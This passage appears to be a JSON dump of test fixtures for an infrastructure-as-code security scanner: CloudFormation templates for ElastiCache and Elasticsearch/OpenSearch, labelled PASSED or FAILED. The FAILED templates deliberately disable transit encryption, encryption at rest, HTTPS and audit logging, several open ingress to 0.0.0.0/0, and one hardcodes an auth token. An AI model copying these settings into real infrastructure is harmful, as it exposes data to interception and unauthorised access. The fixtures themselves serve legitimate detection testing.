with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroupFail:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False\t# Optional parameter\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      #TransitEncryptionEnabled: False\n      TransitEncryptionEnabled: True\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ElasticacheReplicationGroupEncryptionAtTransitAuthToken-FAILED2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroupFail2:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False\t# Optional parameter\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      #TransitEncryptionEnabled: False\n      TransitEncryptionEnabled: False\n      UserGroupIds:\n        - Example\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ElasticacheReplicationGroupEncryptionAtTransitAuthToken-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroupPass:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AuthToken: 'MySecret!AuthToken$'\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False\t# Optional parameter\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      #TransitEncryptionEnabled: False\n      TransitEncryptionEnabled: True\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ElasticacheReplicationGroupEncryptionAtTransitAuthToken-PASSED2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroupPass2:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False\t# Optional parameter\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      #TransitEncryptionEnabled: False\n      TransitEncryptionEnabled: True\n      UserGroupIds:\n        - Example\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainAuditLogging/ElasticsearchDomainLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: False\n  Resource1:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainAuditLogging/ElasticsearchDomainLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: True\n          CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainAuditLogging/OpensearchDomainLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::OpenSearchService::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: False\n  Resource1:\n    Type: 'AWS::OpenSearchService::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainAuditLogging/OpensearchDomainLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::OpenSearchService::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: True\n          CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainEnforceHTTPS/ElasticsearchDomainEnforceHTTPS-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: False\n  Resource1:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        TLSSecurityPolicy: \"Policy-Min-TLS-1-2-2019-07\"\n  Resource2:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      ElasticsearchVersion: \"2.3\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainEnforceHTTPS/ElasticsearchDomainEnforceHTTPS-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainLogging/ElasticsearchDomainLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: False\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainLogging/ElasticsearchDomainLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: True\n          CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainLogging/OpensearchDomainLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::OpenSearchService::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: False\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchDomainLogging/OpensearchDomainLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::OpenSearchService::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: True\n          CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchEncryption/ElasticsearchEncryption-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nParameters:\n  DomainName:\n    Description: User defined Elasticsearch Domain name\n    Type: String\n  ElasticsearchVersion:\n    Description: User defined Elasticsearch Version\n    Type: String\n  InstanceType:\n    Type: String\n  AvailabilityZone:\n    Type: String\n  CidrBlock:\n    Type: String\n    AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$'\n  #GroupDescription:\n  #  Type: String\n  #SGName:\n  #  Type: String\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Ref DomainName\n      NodeToNodeEncryptionOptions:\n      #  Enabled: False\n        Enabled: True\n      ElasticsearchVersion: !Ref ElasticsearchVersion\n      ElasticsearchClusterConfig:\n        InstanceCount: 1\n        InstanceType: !Ref InstanceType\n      EBSOptions:\n        EBSEnabled: True\n        Iops: 0\n        VolumeSize: 10\n        VolumeType: standard\n      SnapshotOptions:\n        AutomatedSnapshotStartHour: 0\n      AccessPolicies:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Principal:\n              AWS: '*'\n            Action: 'es:*'\n            Resource: '*'\n      AdvancedOptions:\n        rest.action.multi.allow_explicit_index: 'true'\n      Tags:\n        - Key: foo\n          Value: bar\n      VPCOptions:\n        SubnetIds:\n          - !Ref subnet\n        SecurityGroupIds:\n          - !Ref SecurityGroup\n          #- !Ref mySecurityGroup\n  vpc:\n    Type: AWS::EC2::VPC\n    Properties:\n      CidrBlock: 10.0.0.0/16\n  subnet:\n    Type: AWS::EC2::Subnet\n    Properties:\n      VpcId: !Ref vpc\n      CidrBlock: !Ref CidrBlock\n      AvailabilityZone: !Ref AvailabilityZone\n  #mySecurityGroup:\n  #  Type: AWS::EC2::SecurityGroup\n  #  Properties:\n  #    GroupDescription: !Ref GroupDescription\n  #    VpcId: !Ref vpc\n  #    GroupName: !Ref SGName\n  #    SecurityGroupIngress:\n  #      - Description: 'HTTP Ingress' \n  #        FromPort: 443\n  #        IpProtocol: tcp\n  #        ToPort: 443\n  #        CidrIp: 0.0.0.0/0\nOutputs:\n  DomainArn:\n    Value: !GetAtt ElasticsearchDomain.DomainArn\n  DomainEndpoint:\n    Value: !GetAtt ElasticsearchDomain.DomainEndpoint\n  #SecurityGroupId:\n  #  Value: !Ref mySecurityGroup\n  SubnetId:\n    Value: !Ref subnet\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchEncryption/ElasticsearchEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nParameters:\n  DomainName:\n    Description: User defined Elasticsearch Domain name\n    Type: String\n  ElasticsearchVersion:\n    Description: User defined Elasticsearch Version\n    Type: String\n  InstanceType:\n    Type: String\n  AvailabilityZone:\n    Type: String\n  CidrBlock:\n    Type: String\n    AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$'\n  #GroupDescription:\n  #  Type: String\n  #SGName:\n  #  Type: String\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Ref DomainName\n      EncryptionAtRestOptions:\n        Enabled: False\n        #Enabled: True\n      #  KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a\n      ##########\n      NodeToNodeEncryptionOptions:\n      #  Enabled: False\n        Enabled: True\n      ElasticsearchVersion: !Ref ElasticsearchVersion\n      ElasticsearchClusterConfig:\n        InstanceCount: 1\n        InstanceType: !Ref InstanceType\n      EBSOptions:\n        EBSEnabled: True\n        Iops: 0\n        VolumeSize: 10\n        VolumeType: standard\n      SnapshotOptions:\n        AutomatedSnapshotStartHour: 0\n      AccessPolicies:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Principal:\n              AWS: '*'\n            Action: 'es:*'\n            Resource: '*'\n      AdvancedOptions:\n        rest.action.multi.allow_explicit_index: 'true'\n      Tags:\n        - Key: foo\n          Value: bar\n      VPCOptions:\n        SubnetIds:\n          - !Ref subnet\n        SecurityGroupIds:\n          - !Ref SecurityGroup\n          #- !Ref mySecurityGroup\n  vpc:\n    Type: AWS::EC2::VPC\n    Properties:\n      CidrBlock: 10.0.0.0/16\n  subnet:\n    Type: AWS::EC2::Subnet\n    Properties:\n      VpcId: !Ref vpc\n      CidrBlock: !Ref CidrBlock\n      AvailabilityZone: !Ref AvailabilityZone\n  #mySecurityGroup:\n  #  Type: AWS::EC2::SecurityGroup\n  #  Properties:\n  #    GroupDescription: !Ref GroupDescription\n  #    VpcId: !Ref vpc\n  #    GroupName: !Ref SGName\n  #    SecurityGroupIngress:\n  #      - Description: 'HTTP Ingress' \n  #        FromPort: 443\n  #        IpProtocol: tcp\n  #        ToPort: 443\n  #        CidrIp: 0.0.0.0/0\nOutputs:\n  DomainArn:\n    Value: !GetAtt ElasticsearchDomain.DomainArn\n  DomainEndpoint:\n    Value: !GetAtt ElasticsearchDomain.DomainEndpoint\n  #SecurityGroupId:\n  #  Value: !Ref mySecurityGroup\n  SubnetId:\n    Value: !Ref subnet\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchEncryption/ElasticsearchEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nParameters:\n  DomainName:\n    Description: User defined Elasticsearch Domain name\n    Type: String\n  ElasticsearchVersion:\n    Description: User defined Elasticsearch Version\n    Type: String\n  InstanceType:\n    Type: String\n  AvailabilityZone:\n    Type: String\n  CidrBlock:\n    Type: String\n    AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$'\n  #GroupDescription:\n  #  Type: String\n  #SGName:\n  #  Type: String\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Ref DomainName\n      EncryptionAtRestOptions:\n        #Enabled: False\n        Enabled: True\n      #  KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a\n      ##########\n      NodeToNodeEncryptionOptions:\n      #  Enabled: False\n        Enabled: True\n      ElasticsearchVersion: !Ref ElasticsearchVersion\n      ElasticsearchClusterConfig:\n        InstanceCount: 1\n        InstanceType: !Ref InstanceType\n      EBSOptions:\n        EBSEnabled: True\n        Iops: 0\n        VolumeSize: 10\n        VolumeType: standard\n      SnapshotOptions:\n        AutomatedSnapshotStartHour: 0\n      AccessPolicies:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Principal:\n              AWS: '*'\n            Action: 'es:*'\n            Resource: '*'\n      AdvancedOptions:\n        rest.action.multi.allow_explicit_index: 'true'\n      Tags:\n        - Key: foo\n          Value: bar\n      VPCOptions:\n        SubnetIds:\n          - !Ref subnet\n        SecurityGroupIds:\n          - !Ref SecurityGroup\n          #- !Ref mySecurityGroup\n  vpc:\n    Type: AWS::EC2::VPC\n    Properties:\n      CidrBlock: 10.0.0.0/16\n  subnet:\n    Type: AWS::EC2::Subnet\n    Properties:\n      VpcId: !Ref vpc\n      CidrBlock: !Ref CidrBlock\n      AvailabilityZone: !Ref AvailabilityZone\n  #mySecurityGroup:\n  #  Type: AWS::EC2::SecurityGroup\n  #  Properties:\n  #    GroupDescription: !Ref GroupDescription\n  #    VpcId: !Ref vpc\n  #    GroupName: !Ref SGName\n  #    SecurityGroupIngress:\n  #      - Description: 'HTTP 